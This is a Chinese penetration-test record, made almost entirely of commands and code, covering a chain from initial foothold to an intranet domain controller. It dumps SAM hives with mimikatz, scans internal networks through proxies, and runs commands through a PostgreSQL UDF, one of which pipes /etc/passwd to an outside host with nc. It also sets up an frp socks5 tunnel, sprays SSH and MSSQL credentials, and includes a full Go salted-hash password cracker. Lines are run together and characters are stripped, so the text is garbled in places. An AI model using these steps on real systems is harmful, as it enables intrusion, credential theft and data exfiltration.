实战｜打点到内网域控全链路渗透记录

reg save hklmsam sam.hivereg save hklmsystem system.hive

lsadump::sam /sam:sam.hive /system:system.hive

21,22,80,135,139,443,445,1521,5432,5555,8009,8081,5985,137,8086,3389,10000,5900

proxychains4 -q fscan -h 192.168.5.1/24 -np -t 20 -p 21,22,80,135,139,443,445,1521,5432,5555,8009,8081,5985,137,8086,3389,10000,5900

postgres/password

CREATE OR REPLACE FUNCTION system(cstring) RETURNS int AS '/lib/x86_64-linux-gnu/libc.so.6', 'system' LANGUAGE 'c' STRICT; SELECT system('cat /etc/passwd | nc xxx.xx.xx.xx');

# 找相应的 dev 扩展包apt-get search postgresql-server-dev# 安装 dev 扩展包apt-get install postgresql-server-dev-15# 编译好 .so 文件git clone https://github.com/No-Github/postgresql_udf_helpcd postgresql_udf_helpgcc -Wall -I/usr/include/postgresql/15/server -Os -shared lib_postgresqludf_sys.c -fPIC -o lib_postgresqludf_sys.sostrip -sx lib_postgresqludf_sys.so# 生成分片后的 sql 语句cat lib_postgresqludf_sys.so | xxd -ps | tr -d "n" > 1.txtpython2 postgresql_udf_help.py 1.txt > sqlcmd.txt

SELECT lo_create(1370);insert into pg_largeobject values (1370, 0, decode('xxx.........SELECT lo_export(1370, '/tmp/testeval.so');CREATE OR REPLACE FUNCTION sys_eval(text) RETURNS text AS '/tmp/testeval.so', 'sys_eval' LANGUAGE C RETURNS NULL ON NULL INPUT IMMUTABLE;select sys_eval('id');

user = "192.168.5.120"serverAddr = "x.x.x.x"serverPort = 8000auth.method = "token"auth.token = "123456789"[[proxies]]name = "plugin_socks5"type = "tcp"remotePort = 6005[proxies.plugin]type = "socks5"username = "username"password = "password"

go generate && CGO_ENABLED=1 GOOS=linux GOARCH=amd64 CC=x86_64-linux-musl-gcc go build ${LDFLAGS-Win} -o release/linux/gogo-musl gogo.go

./gogo -i 192.168.1.1/16 --mod s -p top2,win,db -t 100 --af

proxychains4 -q nxc ssh ssh.txt -u username.txt -p password.txtproxychains4 -q nxc mssql mssql.txt -u username.txt -p password.txtproxychains4 -q nxc  ssh.txt -u username.txt -p password.txt

String userNameAndPass = user.getUserName().toLowerCase() + user.getPassword();  String salt = EncryptDecryptUtils.getSaltedHash();  user.setSalt(salt);user.setPassword(EncryptDecryptUtils.encryptSHA256(userNameAndPass, salt));

package mainimport (    "bufio"    "crypto/sha256"    "encoding/hex"    "flag"    "fmt"    "os"    "runtime"    "strings"    "sync")// generateHash 生成 SHA-256 哈希值funcgenerateHash(password, salt, username string) string {    hasher := sha256.New()    hasher.Write([]byte(strings.ToLower(username) + password + salt)) // username 转小写后拼接    return hex.EncodeToString(hasher.Sum(nil))}// bruteForceWorker 工作线程，尝试匹配目标哈希值funcbruteForceWorker(targetHash, salt, username string, passwords <-chanstring, wg *sync.WaitGroup, resultChan chan<- string) {    defer wg.Done()    for password := range passwords {        // 生成加密后的密码        encryptedPassword := generateHash(password, salt, username)        // 打印尝试的密码和生成的加密后密码        // fmt.Printf("尝试密码: %s -> 加密后密码: %sn", password, encryptedPassword)        if encryptedPassword == targetHash {            // 匹配时打印加密后的密码            fmt.Printf("匹配成功! 密码: %s -> 加密后密码: %sn", password, encryptedPassword)            resultChan <- password            return        }    }}// readWordlist 读取字典文件并返回密码列表funcreadWordlist(filepath string) ([]string, error) {    file, err := os.Open(filepath)    if err != nil {        return nil, err    }    defer file.Close()    var wordlist []string    scanner := bufio.NewScanner(file)    for scanner.Scan() {        wordlist = append(wordlist, scanner.Text())    }    if err := scanner.Err(); err != nil {        return nil, err    }    return wordlist, nil}// readHashSaltFile 读取哈希、用户名和盐值文件，返回哈希、用户名和盐值对的列表funcreadHashSaltFile(filepath string) ([][3]string, error) {    file, err := os.Open(filepath)    if err != nil {        return nil, err    }    defer file.Close()    var hashSaltPairs [][3]string    scanner := bufio.NewScanner(file)    for scanner.Scan() {        line := scanner.Text()        parts := strings.Split(line, ":")        if len(parts) != 3 {            continue        }        hashSaltPairs = append(hashSaltPairs, [3]string{parts[0], parts[1], parts[2]})    }    if err := scanner.Err(); err != nil {        return nil, err    }    return hashSaltPairs, nil}funcmain() {    // 解析命令行参数    wordlistPath := flag.String("w", "", "字典文件路径")    hashSaltPath := flag.String("c", "", "哈希、用户名和盐值文件路径")    threadCount := flag.Int("t", runtime.NumCPU(), "线程数量")    flag.Parse()    if *wordlistPath == "" || *hashSaltPath == "" {        fmt.Println("请提供字典文件路径和哈希/用户名/盐值文件路径")        flag.Usage()        return    }    // 读取字典文件    wordlist, err := readWordlist(*wordlistPath)    if err != nil {        fmt.Printf("无法读取字典文件: %vn", err)        return    }    // 读取哈希、用户名和盐值文件    hashSaltPairs, err := readHashSaltFile(*hashSaltPath)    if err != nil {        fmt.Printf("无法读取哈希/用户名/盐值文件: %vn", err)        return    }    // 对每个哈希、用户名和盐值对进行暴力破解    for _, pair := range hashSaltPairs {        username, targetHash, salt := pair[0], pair[1], pair[2]        // fmt.Printf("开始破解用户名: %s 哈希: %s 使用盐值: %sn", username, targetHash, salt)        // 设置同步机制        passwords := make(chan string, len(wordlist))        resultChan := make(chan string, 1)        var wg sync.WaitGroup        // 启动指定数量的线程        for i := 0; i < *threadCount; i++ {            wg.Add(1)            go bruteForceWorker(targetHash, salt, username, passwords, &wg, resultChan)        }        // 将字典中的密码发送到 channel 中        go func() {            for _, password := range wordlist {                passwords <- password            }            close(passwords)        }()        // 等待破解结果        go func() {            wg.Wait()            close(resultChan)        }()        // 输出结果        if result, ok := <-resultChan; ok {            fmt.Printf("找到匹配密码: %sn", result)        } else {            // fmt.Println("未找到匹配密码")        }    }}

go run sha256brute.go -c pwdandsalt.txt -w pwd.txt > bruteresults.txt

proxychains4 adidnsdump ldap://192.168.2.xx -u xx\xxx -p xxx -r